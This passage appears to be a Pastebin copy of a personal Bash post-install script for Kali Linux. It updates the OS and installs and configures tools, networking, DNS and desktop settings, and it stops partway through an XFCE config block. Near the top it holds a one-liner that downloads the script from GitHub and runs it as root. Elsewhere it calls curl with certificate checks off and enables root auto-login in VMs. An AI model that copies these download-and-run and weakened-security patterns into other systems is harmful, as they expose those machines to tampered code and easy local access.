SHARE
TWEET

Kali Rolling [future]

DarkProgrammer000 Aug 13th, 2019 76 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. #-Metadata----------------------------------------------------#
  3. #  Filename: kali-rolling.sh             (Update: 2016-09-21) #
  4. #-Info--------------------------------------------------------#
  5. #  Personal post-install script for Kali Linux Rolling        #
  6. #-Author(s)---------------------------------------------------#
  7. #  g0tmilk ~ https://blog.g0tmi1k.com/                        #
  8. #-Operating System--------------------------------------------#
  9. #  Designed for: Kali Linux Rolling [x64] (VM - VMware)       #
  10. #     Tested on: Kali Linux 2016.2 x64/x84/full/light/mini/vm #
  11. #     Kali v1.x: https://g0tmi1k/os-scripts/master/kali1.sh   #
  12. #     Kali v2.x: https://g0tmi1k/os-scripts/master/kali2.sh   #
  13. #-Licence-----------------------------------------------------#
  14. #  MIT License ~ http://opensource.org/licenses/MIT           #
  15. #-Notes-------------------------------------------------------#
  16. #  Run as root straight after a clean install of Kali Rolling #
  17. #                             ---                             #
  18. #  You will need 25GB+ free HDD space before running.         #
  19. #                             ---                             #
  20. #  Command line arguments:                                    #
  21. #    -burp     = Automates configuring Burp Suite (Community) #
  22. #    -dns      = Use OpenDNS and locks permissions            #
  23. #    -openvas  = Installs & configures OpenVAS vuln scanner   #
  24. #    -osx      = Changes to Apple keyboard layout             #
  25. #                                                             #
  26. #    -keyboard <value> = Change the keyboard layout language  #
  27. #    -timezone <value> = Change the timezone location         #
  28. #                                                             #
  29. #  e.g. # bash kali-rolling.sh -burp -keyboard gb -openvas    #
  30. #                             ---                             #
  31. #  Will cut it up (so modular based), at a later date...      #
  32. #                             ---                             #
  33. #             ** This script is meant for _ME_. **            #
  34. #         ** EDIT this to meet _YOUR_ requirements! **        #
  35. #-------------------------------------------------------------#
  36.  
  37.  
  38. if [ 1 -eq 0 ]; then    # This is never true, thus it acts as block comments ;)
  39. ################################################################################
  40. ### One liner - Grab the latest version and execute! ###########################
  41. ################################################################################
  42. wget -qO kali-rolling.sh https://raw.github.com/g0tmi1k/os-scripts/master/kali-rolling.sh \
  43.   && bash kali-rolling.sh -burp -keyboard gb -timezone "Europe/London"
  44. ################################################################################
  45. fi
  46.  
  47.  
  48. #-Defaults-------------------------------------------------------------#
  49.  
  50.  
  51. ##### Location information
  52. keyboardApple=false         # Using a Apple/Macintosh keyboard (non VM)?                [ --osx ]
  53. keyboardLayout=""           # Set keyboard layout                                       [ --keyboard gb]
  54. timezone=""                 # Set timezone location                                     [ --timezone Europe/London ]
  55.  
  56. ##### Optional steps
  57. burpFree=false              # Disable configuring Burp Suite (for Burp Pro users...)    [ --burp ]
  58. hardenDNS=false             # Set static & lock DNS name server                         [ --dns ]
  59. openVAS=false               # Install & configure OpenVAS (not everyone wants it...)    [ --openvas ]
  60.  
  61. ##### (Optional) Enable debug mode?
  62. #set -x
  63.  
  64. ##### (Cosmetic) Colour output
  65. RED="\033[01;31m"      # Issues/Errors
  66. GREEN="\033[01;32m"    # Success
  67. YELLOW="\033[01;33m"   # Warnings/Information
  68. BLUE="\033[01;34m"     # Heading
  69. BOLD="\033[01;01m"     # Highlight
  70. RESET="\033[00m"       # Normal
  71.  
  72. STAGE=0                                                         # Where are we up to
  73. TOTAL=$( grep '(${STAGE}/${TOTAL})' $0 | wc -l );(( TOTAL-- ))  # How many things have we got todo
  74.  
  75.  
  76. #-Arguments------------------------------------------------------------#
  77.  
  78.  
  79. ##### Read command line arguments
  80. while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do
  81.   opt="${1}";
  82.   shift;
  83.   case "$(echo ${opt} | tr '[:upper:]' '[:lower:]')" in
  84.     -|-- ) break 2;;
  85.  
  86.     -osx|--osx )
  87.       keyboardApple=true;;
  88.     -apple|--apple )
  89.       keyboardApple=true;;
  90.  
  91.     -dns|--dns )
  92.       hardenDNS=true;;
  93.  
  94.     -openvas|--openvas )
  95.       openVAS=true;;
  96.  
  97.     -burp|--burp )
  98.       burpFree=true;;
  99.  
  100.     -keyboard|--keyboard )
  101.       keyboardLayout="${1}"; shift;;
  102.     -keyboard=*|--keyboard=* )
  103.       keyboardLayout="${opt#*=}";;
  104.  
  105.     -timezone|--timezone )
  106.       timezone="${1}"; shift;;
  107.     -timezone=*|--timezone=* )
  108.       timezone="${opt#*=}";;
  109.  
  110.     *) echo -e ' '${RED}'[!]'${RESET}" Unknown option: ${RED}${x}${RESET}" 1>&2 \
  111.       && exit 1;;
  112.    esac
  113. done
  114.  
  115.  
  116. ##### Check user inputs
  117. if [[ -n "${timezone}" && ! -f "/usr/share/zoneinfo/${timezone}" ]]; then
  118.   echo -e ' '${RED}'[!]'${RESET}" Looks like the ${RED}timezone '${timezone}'${RESET} is incorrect/not supported (Example: ${BOLD}Europe/London${RESET})" 1>&2
  119.   echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  120.   exit 1
  121. elif [[ -n "${keyboardLayout}" && -e /usr/share/X11/xkb/rules/xorg.lst ]]; then
  122.   if ! $(grep -q " ${keyboardLayout} " /usr/share/X11/xkb/rules/xorg.lst); then
  123.     echo -e ' '${RED}'[!]'${RESET}" Looks like the ${RED}keyboard layout '${keyboardLayout}'${RESET} is incorrect/not supported (Example: ${BOLD}gb${RESET})" 1>&2
  124.     echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  125.     exit 1
  126.   fi
  127. fi
  128.  
  129.  
  130. #-Start----------------------------------------------------------------#
  131.  
  132.  
  133. ##### Check if we are running as root - else this script will fail (hard!)
  134. if [[ "${EUID}" -ne 0 ]]; then
  135.   echo -e ' '${RED}'[!]'${RESET}" This script must be ${RED}run as root${RESET}" 1>&2
  136.   echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  137.   exit 1
  138. else
  139.   echo -e " ${BLUE}[*]${RESET} ${BOLD}Kali Linux rolling post-install script${RESET}"
  140.   sleep 3s
  141. fi
  142.  
  143. if [ "${burpFree}" != "true" ]; then
  144.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping Burp Suite${RESET} (missing: '$0 ${BOLD}--burp${RESET}')..." 1>&2
  145.   sleep 2s
  146. fi
  147.  
  148.  
  149. ##### Fix display output for GUI programs (when connecting via SSH)
  150. export DISPLAY=:0.0
  151. export TERM=xterm
  152.  
  153.  
  154. ##### Are we using GNOME?
  155. if [[ $(which gnome-shell) ]]; then
  156.   ##### RAM check
  157.   if [[ "$(free -m | grep -i Mem | awk '{print $2}')" < 2048 ]]; then
  158.     echo -e '\n '${RED}'[!]'${RESET}" ${RED}You have <= 2GB of RAM and using GNOME${RESET}" 1>&2
  159.     echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Might want to use XFCE instead${RESET}..."
  160.     sleep 15s
  161.   fi
  162.  
  163.  
  164.   ##### Disable its auto notification package updater
  165.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Disabling GNOME's ${GREEN}notification package updater${RESET} service ~ in case it runs during this script"
  166.   export DISPLAY=:0.0
  167.   timeout 5 killall -w /usr/lib/apt/methods/http >/dev/null 2>&1
  168.  
  169.  
  170.   ##### Disable screensaver
  171.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Disabling ${GREEN}screensaver${RESET}"
  172.   xset s 0 0
  173.   xset s off
  174.   gsettings set org.gnome.desktop.session idle-delay 0
  175. else
  176.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping disabling package updater${RESET}..."
  177. fi
  178.  
  179.  
  180. ##### Check Internet access
  181. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Checking ${GREEN}Internet access${RESET}"
  182. #--- Can we ping google?
  183. for i in {1..10}; do ping -c 1 -W ${i} www.google.com &>/dev/null && break; done
  184. #--- Run this, if we can't
  185. if [[ "$?" -ne 0 ]]; then
  186.   echo -e ' '${RED}'[!]'${RESET}" ${RED}Possible DNS issues${RESET}(?)" 1>&2
  187.   echo -e ' '${RED}'[!]'${RESET}" Will try and use ${YELLOW}DHCP${RESET} to 'fix' the issue" 1>&2
  188.   chattr -i /etc/resolv.conf 2>/dev/null
  189.   dhclient -r
  190.   #--- Second interface causing issues?
  191.   ip addr show eth1 &>/dev/null
  192.   [[ "$?" == 0 ]] \
  193.     && route delete default gw 192.168.155.1 2>/dev/null
  194.   #--- Request a new IP
  195.   dhclient
  196.   dhclient eth0 2>/dev/null
  197.   dhclient wlan0 2>/dev/null
  198.   #--- Wait and see what happens
  199.   sleep 15s
  200.   _TMP="true"
  201.   _CMD="$(ping -c 1 8.8.8.8 &>/dev/null)"
  202.   if [[ "$?" -ne 0 && "$_TMP" == "true" ]]; then
  203.     _TMP="false"
  204.     echo -e ' '${RED}'[!]'${RESET}" ${RED}No Internet access${RESET}" 1>&2
  205.     echo -e ' '${RED}'[!]'${RESET}" You will need to manually fix the issue, before re-running this script" 1>&2
  206.   fi
  207.   _CMD="$(ping -c 1 www.google.com &>/dev/null)"
  208.   if [[ "$?" -ne 0 && "$_TMP" == "true" ]]; then
  209.     _TMP="false"
  210.     echo -e ' '${RED}'[!]'${RESET}" ${RED}Possible DNS issues${RESET}(?)" 1>&2
  211.     echo -e ' '${RED}'[!]'${RESET}" You will need to manually fix the issue, before re-running this script" 1>&2
  212.   fi
  213.   if [[ "$_TMP" == "false" ]]; then
  214.     (dmidecode | grep -iq virtual) && echo -e " ${YELLOW}[i]${RESET} VM Detected"
  215.     (dmidecode | grep -iq virtual) && echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Try switching network adapter mode${RESET} (e.g. NAT/Bridged)"
  216.     echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  217.     exit 1
  218.   fi
  219. else
  220.   echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Detected Internet access${RESET}" 1>&2
  221. fi
  222. #--- GitHub under DDoS?
  223. (( STAGE++ )); echo -e " ${GREEN}[i]${RESET} (${STAGE}/${TOTAL}) Checking ${GREEN}GitHub status${RESET}"
  224. timeout 300 curl --progress -k -L -f "https://status.github.com/api/status.json" | grep -q "good" \
  225.   || (echo -e ' '${RED}'[!]'${RESET}" ${RED}GitHub is currently having issues${RESET}. ${BOLD}Lots may fail${RESET}. See: https://status.github.com/" 1>&2 \
  226.     && exit 1)
  227.  
  228.  
  229. ##### Enable default network repositories ~ http://docs.kali.org/general-use/kali-linux-sources-list-repositories
  230. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Enabling default OS ${GREEN}network repositories${RESET}"
  231. #--- Add network repositories
  232. file=/etc/apt/sources.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  233. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  234. #--- Main
  235. grep -q '^deb .* kali-rolling' "${file}" 2>/dev/null \
  236.   || echo -e "\n\n# Kali Rolling\ndeb http://http.kali.org/kali kali-rolling main contrib non-free" >> "${file}"
  237. #--- Source
  238. grep -q '^deb-src .* kali-rolling' "${file}" 2>/dev/null \
  239.   || echo -e "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> "${file}"
  240. #--- Disable CD repositories
  241. sed -i '/kali/ s/^\( \|\t\|\)deb cdrom/#deb cdrom/g' "${file}"
  242. #--- incase we were interrupted
  243. dpkg --configure -a
  244. #--- Update
  245. apt -qq update
  246. if [[ "$?" -ne 0 ]]; then
  247.   echo -e ' '${RED}'[!]'${RESET}" There was an ${RED}issue accessing network repositories${RESET}" 1>&2
  248.   echo -e " ${YELLOW}[i]${RESET} Are the remote network repositories ${YELLOW}currently being sync'd${RESET}?"
  249.   echo -e " ${YELLOW}[i]${RESET} Here is ${BOLD}YOUR${RESET} local network ${BOLD}repository${RESET} information (Geo-IP based):\n"
  250.   curl -sI http://http.kali.org/README
  251.   exit 1
  252. fi
  253.  
  254.  
  255. ##### Check to see if Kali is in a VM. If so, install "Virtual Machine Addons/Tools" for a "better" virtual experiment
  256. if (dmidecode | grep -iq vmware); then
  257.   ##### Install virtual machines tools ~ http://docs.kali.org/general-use/install-vmware-tools-kali-guest
  258.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VMware's (open) virtual machine tools${RESET}"
  259.   apt -y -qq install open-vm-tools-desktop fuse \
  260.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  261.   apt -y -qq install make \
  262.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2    # There's a nags afterwards
  263.   ## Shared folders support for Open-VM-Tools (some odd bug)
  264.   file=/usr/local/sbin/mount-shared-folders; [ -e "${file}" ] && cp -n $file{,.bkup}
  265.   cat <<EOF > "${file}" \
  266.     || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  267. #!/bin/bash
  268.  
  269. vmware-hgfsclient | while read folder; do
  270.   echo "[i] Mounting \${folder}   (/mnt/hgfs/\${folder})"
  271.   mkdir -p "/mnt/hgfs/\${folder}"
  272.   umount -f "/mnt/hgfs/\${folder}" 2>/dev/null
  273.   vmhgfs-fuse -o allow_other -o auto_unmount ".host:/\${folder}" "/mnt/hgfs/\${folder}"
  274. done
  275.  
  276. sleep 2s
  277. EOF
  278.   chmod +x "${file}"
  279.   ln -sf "${file}" /root/Desktop/mount-shared-folders.sh
  280. elif (dmidecode | grep -iq virtualbox); then
  281.   ##### Installing VirtualBox Guest Additions.   Note: Need VirtualBox 4.2.xx+ for the host (http://docs.kali.org/general-use/kali-linux-virtual-box-guest)
  282.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VirtualBox's guest additions${RESET}"
  283.   apt -y -qq install virtualbox-guest-x11 \
  284.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  285. fi
  286.  
  287.  
  288. ##### Check to see if there is a second Ethernet card (if so, set an static IP address)
  289. ip addr show eth1 &>/dev/null
  290. if [[ "$?" == 0 ]]; then
  291.   ##### Set a static IP address (192.168.155.175/24) on eth1
  292.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting a ${GREEN}static IP address${RESET} (${BOLD}192.168.155.175/24${RESET}) on ${BOLD}eth1${RESET}"
  293.   ip addr add 192.168.155.175/24 dev eth1 2>/dev/null
  294.   route delete default gw 192.168.155.1 2>/dev/null
  295.   file=/etc/network/interfaces.d/eth1.cfg; [ -e "${file}" ] && cp -n $file{,.bkup}
  296.   grep -q '^iface eth1 inet static' "${file}" 2>/dev/null \
  297.     || cat <<EOF > "${file}"
  298. auto eth1
  299. iface eth1 inet static
  300.     address 192.168.155.175
  301.     netmask 255.255.255.0
  302.     gateway 192.168.155.1
  303.     post-up route delete default gw 192.168.155.1
  304. EOF
  305. else
  306.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping eth1${RESET} (missing nic)..." 1>&2
  307. fi
  308.  
  309.  
  310. ##### Set static & protecting DNS name servers.   Note: May cause issues with forced values (e.g. captive portals etc)
  311. if [[ "${hardenDNS}" != "false" ]]; then
  312.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting static & protecting ${GREEN}DNS name servers${RESET}"
  313.   file=/etc/resolv.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  314.   chattr -i "${file}" 2>/dev/null
  315.   #--- Use OpenDNS DNS
  316.   echo -e 'nameserver 208.67.222.222\nnameserver 208.67.220.220' > "${file}"
  317.   #--- Use Google DNS
  318.   #echo -e 'nameserver 8.8.8.8\nnameserver 8.8.4.4' > "${file}"
  319.   #--- Protect it
  320.   chattr +i "${file}" 2>/dev/null
  321. else
  322.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping DNS${RESET} (missing: '$0 ${BOLD}--dns${RESET}')..." 1>&2
  323. fi
  324.  
  325.  
  326. ##### Update location information - set either value to "" to skip.
  327. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET}"
  328. #--- Configure keyboard layout (Apple)
  329. if [ "${keyboardApple}" != "false" ]; then
  330.   ( (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Applying ${GREEN}Apple hardware${RESET} profile" )
  331.   file=/etc/default/keyboard; #[ -e "${file}" ] && cp -n $file{,.bkup}
  332.   sed -i 's/XKBVARIANT=".*"/XKBVARIANT="mac"/' "${file}"
  333. fi
  334. #--- Configure keyboard layout (location)
  335. if [[ -n "${keyboardLayout}" ]]; then
  336.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET} ~ keyboard layout (${BOLD}${keyboardLayout}${RESET})"
  337.   geoip_keyboard=$(curl -s http://ifconfig.io/country_code | tr '[:upper:]' '[:lower:]')
  338.   [ "${geoip_keyboard}" != "${keyboardLayout}" ] \
  339.     && echo -e " ${YELLOW}[i]${RESET} Keyboard layout (${BOLD}${keyboardLayout}${RESET}) doesn't match what's been detected via GeoIP (${BOLD}${geoip_keyboard}${RESET})"
  340.   file=/etc/default/keyboard; #[ -e "${file}" ] && cp -n $file{,.bkup}
  341.   sed -i 's/XKBLAYOUT=".*"/XKBLAYOUT="'${keyboardLayout}'"/' "${file}"
  342. else
  343.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping keyboard layout${RESET} (missing: '$0 ${BOLD}--keyboard <value>${RESET}')..." 1>&2
  344. fi
  345. #--- Changing time zone
  346. if [[ -n "${timezone}" ]]; then
  347.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET} ~ time zone (${BOLD}${timezone}${RESET})"
  348.   echo "${timezone}" > /etc/timezone
  349.   ln -sf "/usr/share/zoneinfo/$(cat /etc/timezone)" /etc/localtime
  350.   dpkg-reconfigure -f noninteractive tzdata
  351. else
  352.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping time zone${RESET} (missing: '$0 ${BOLD}--timezone <value>${RESET}')..." 1>&2
  353. fi
  354. #--- Installing ntp tools
  355. (( STAGE++ )); echo -e " ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ntpdate${RESET} ~ keeping the time in sync"
  356. apt -y -qq install ntp ntpdate \
  357.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  358. #--- Update time
  359. ntpdate -b -s -u pool.ntp.org
  360. #--- Start service
  361. systemctl restart ntp
  362. #--- Remove from start up
  363. systemctl disable ntp 2>/dev/null
  364. #--- Only used for stats at the end
  365. start_time=$(date +%s)
  366.  
  367.  
  368. ##### Update OS from network repositories
  369. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Updating OS${RESET} from network repositories"
  370. echo -e " ${YELLOW}[i]${RESET}  ...this ${BOLD}may take a while${RESET} depending on your Internet connection & Kali version/age"
  371. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done         # Clean up      clean remove autoremove autoclean
  372. export DEBIAN_FRONTEND=noninteractive
  373. apt -qq update && APT_LISTCHANGES_FRONTEND=none apt -o Dpkg::Options::="--force-confnew" -y dist-upgrade --fix-missing 2>&1 \
  374.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  375. #--- Cleaning up temp stuff
  376. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done         # Clean up - clean remove autoremove autoclean
  377. #--- Check kernel stuff
  378. _TMP=$(dpkg -l | grep linux-image- | grep -vc meta)
  379. if [[ "${_TMP}" -gt 1 ]]; then
  380.   echo -e "\n ${YELLOW}[i]${RESET} Detected ${YELLOW}multiple kernels${RESET}"
  381.   TMP=$(dpkg -l | grep linux-image | grep -v meta | sort -t '.' -k 2 -g | tail -n 1 | grep "$(uname -r)")
  382.   if [[ -z "${TMP}" ]]; then
  383.     echo -e '\n '${RED}'[!]'${RESET}' You are '${RED}'not using the latest kernel'${RESET} 1>&2
  384.     echo -e " ${YELLOW}[i]${RESET} You have it ${YELLOW}downloaded${RESET} & installed, just ${YELLOW}not USING IT${RESET}"
  385.     #echo -e "\n ${YELLOW}[i]${RESET} You ${YELLOW}NEED to REBOOT${RESET}, before re-running this script"
  386.     #exit 1
  387.     sleep 30s
  388.   else
  389.     echo -e " ${YELLOW}[i]${RESET} ${YELLOW}You're using the latest kernel${RESET} (Good to continue)"
  390.   fi
  391. fi
  392.  
  393.  
  394. ##### Install kernel headers
  395. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}kernel headers${RESET}"
  396. apt -y -qq install make gcc "linux-headers-$(uname -r)" \
  397.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  398. if [[ $? -ne 0 ]]; then
  399.   echo -e ' '${RED}'[!]'${RESET}" There was an ${RED}issue installing kernel headers${RESET}" 1>&2
  400.   echo -e " ${YELLOW}[i]${RESET} Are you ${YELLOW}USING${RESET} the ${YELLOW}latest kernel${RESET}?"
  401.   echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Reboot${RESET} your machine"
  402.   #exit 1
  403.   sleep 30s
  404. fi
  405.  
  406.  
  407. ##### Install "kali full" meta packages (default tool selection)
  408. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}kali-linux-full${RESET} meta-package"
  409. echo -e " ${YELLOW}[i]${RESET}  ...this ${BOLD}may take a while${RESET} depending on your Kali version (e.g. ARM, light, mini or docker...)"
  410. #--- Kali's default tools ~ https://www.kali.org/news/kali-linux-metapackages/
  411. apt -y -qq install kali-linux-full \
  412.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  413.  
  414.  
  415. ##### Set audio level
  416. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting ${GREEN}audio${RESET} levels"
  417. systemctl --user enable pulseaudio
  418. systemctl --user start pulseaudio
  419. pactl set-sink-mute 0 0
  420. pactl set-sink-volume 0 25%
  421.  
  422.  
  423. ##### Configure GRUB
  424. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}GRUB${RESET} ~ boot manager"
  425. grubTimeout=5
  426. (dmidecode | grep -iq virtual) && grubTimeout=1   # Much less if we are in a VM
  427. file=/etc/default/grub; [ -e "${file}" ] && cp -n $file{,.bkup}
  428. sed -i 's/^GRUB_TIMEOUT=.*/GRUB_TIMEOUT='${grubTimeout}'/' "${file}"                           # Time out (lower if in a virtual machine, else possible dual booting)
  429. sed -i 's/^GRUB_CMDLINE_LINUX_DEFAULT=.*/GRUB_CMDLINE_LINUX_DEFAULT="vga=0x0318"/' "${file}"   # TTY resolution
  430. update-grub
  431.  
  432.  
  433. if [[ $(dmidecode | grep -i virtual) ]]; then
  434.   ###### Configure login screen
  435.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}login screen${RESET}"
  436.   #--- Enable auto (gui) login
  437.   file=/etc/gdm3/daemon.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  438.   sed -i 's/^.*AutomaticLoginEnable = .*/AutomaticLoginEnable = true/' "${file}"
  439.   sed -i 's/^.*AutomaticLogin = .*/AutomaticLogin = root/' "${file}"
  440. fi
  441.  
  442.  
  443. if [[ $(which gnome-shell) ]]; then
  444.   ##### Configure GNOME 3
  445.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}GNOME 3${RESET} ~ desktop environment"
  446.   export DISPLAY=:0.0
  447.   #-- Gnome Extension - Dash Dock (the toolbar with all the icons)
  448.   gsettings set org.gnome.shell.extensions.dash-to-dock extend-height true      # Set dock to use the full height
  449.   gsettings set org.gnome.shell.extensions.dash-to-dock dock-position 'RIGHT'   # Set dock to the right
  450.   gsettings set org.gnome.shell.extensions.dash-to-dock dock-fixed true         # Set dock to be always visible
  451.   gsettings set org.gnome.shell favorite-apps \
  452.     "['gnome-terminal.desktop', 'org.gnome.Nautilus.desktop', 'kali-wireshark.desktop', 'firefox-esr.desktop', 'kali-burpsuite.desktop', 'kali-msfconsole.desktop', 'gedit.desktop']"
  453.   #-- Gnome Extension - Alternate-tab (So it doesn't group the same windows up)
  454.   GNOME_EXTENSIONS=$(gsettings get org.gnome.shell enabled-extensions | sed 's_^.\(.*\).$_\1_')
  455.   echo "${GNOME_EXTENSIONS}" | grep -q "alternate-tab@gnome-shell-extensions.gcampax.github.com" \
  456.     || gsettings set org.gnome.shell enabled-extensions "[${GNOME_EXTENSIONS}, 'alternate-tab@gnome-shell-extensions.gcampax.github.com']"
  457.   #-- Gnome Extension - Drive Menu (Show USB devices in tray)
  458.   GNOME_EXTENSIONS=$(gsettings get org.gnome.shell enabled-extensions | sed 's_^.\(.*\).$_\1_')
  459.   echo "${GNOME_EXTENSIONS}" | grep -q "drive-menu@gnome-shell-extensions.gcampax.github.com" \
  460.     || gsettings set org.gnome.shell enabled-extensions "[${GNOME_EXTENSIONS}, 'drive-menu@gnome-shell-extensions.gcampax.github.com']"
  461.   #--- Workspaces
  462.   gsettings set org.gnome.shell.overrides dynamic-workspaces false                         # Static
  463.   gsettings set org.gnome.desktop.wm.preferences num-workspaces 3                          # Increase workspaces count to 3
  464.   #--- Top bar
  465.   gsettings set org.gnome.desktop.interface clock-show-date true                           # Show date next to time in the top tool bar
  466.   #--- Keyboard short-cuts
  467.   (dmidecode | grep -iq virtual) && gsettings set org.gnome.mutter overlay-key "Super_R"   # Change 'super' key to right side (rather than left key), if in a VM
  468.   #--- Hide desktop icon
  469.   dconf write /org/gnome/nautilus/desktop/computer-icon-visible false
  470. else
  471.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping GNOME${RESET}..." 1>&2
  472. fi
  473.  
  474.  
  475. ##### Install XFCE4
  476. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}XFCE4${RESET}${RESET} ~ desktop environment"
  477. export DISPLAY=:0.0
  478. apt -y -qq install curl \
  479.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  480. apt -y -qq install xfce4 xfce4-mount-plugin xfce4-notifyd xfce4-places-plugin xfce4-power-manager \
  481.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  482. (dmidecode | grep -iq virtual) \
  483.   || (apt -y -qq install xfce4-battery-plugin \
  484.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2)
  485. #--- Configuring XFCE
  486. mkdir -p ~/.config/xfce4/panel/launcher-{2,4,5,6,7,8,9}/
  487. mkdir -p ~/.config/xfce4/xfconf/xfce-perchannel-xml/
  488. #--- Configuring XFCE (Keyboard shortcuts)
  489. cat <<EOF > ~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml \
  490.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  491. <?xml version="1.0" encoding="UTF-8"?>
  492.  
  493. <channel name="xfce4-keyboard-shortcuts" version="1.0">
  494.   <property name="commands" type="empty">
  495.     <property name="custom" type="empty">
  496.       <property name="XF86Display" type="string" value="xfce4-display-settings --minimal"/>
  497.       <property name="&lt;Alt&gt;F2" type="string" value="xfrun4"/>
  498.       <property name="&lt;Primary&gt;space" type="string" value="xfce4-appfinder"/>
  499.       <property name="&lt;Primary&gt;&lt;Alt&gt;t" type="string" value="/usr/bin/exo-open --launch TerminalEmulator"/>
  500.       <property name="&lt;Primary&gt;&lt;Alt&gt;Delete" type="string" value="xflock4"/>
  501.       <property name="&lt;Primary&gt;Escape" type="string" value="xfdesktop --menu"/>
  502.       <property name="&lt;Super&gt;p" type="string" value="xfce4-display-settings --minimal"/>
  503.       <property name="override" type="bool" value="true"/>
  504.     </property>
  505.   </property>
  506.   <property name="xfwm4" type="empty">
  507.     <property name="custom" type="empty">
  508.       <property name="&lt;Alt&gt;&lt;Control&gt;End" type="string" value="move_window_next_workspace_key"/>
  509.       <property name="&lt;Alt&gt;&lt;Control&gt;Home" type="string" value="move_window_prev_workspace_key"/>
  510.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_1" type="string" value="move_window_workspace_1_key"/>
  511.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_2" type="string" value="move_window_workspace_2_key"/>
  512.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_3" type="string" value="move_window_workspace_3_key"/>
  513.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_4" type="string" value="move_window_workspace_4_key"/>
  514.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_5" type="string" value="move_window_workspace_5_key"/>
  515.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_6" type="string" value="move_window_workspace_6_key"/>
  516.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_7" type="string" value="move_window_workspace_7_key"/>
  517.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_8" type="string" value="move_window_workspace_8_key"/>
  518.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_9" type="string" value="move_window_workspace_9_key"/>
  519.       <property name="&lt;Alt&gt;&lt;Shift&gt;Tab" type="string" value="cycle_reverse_windows_key"/>
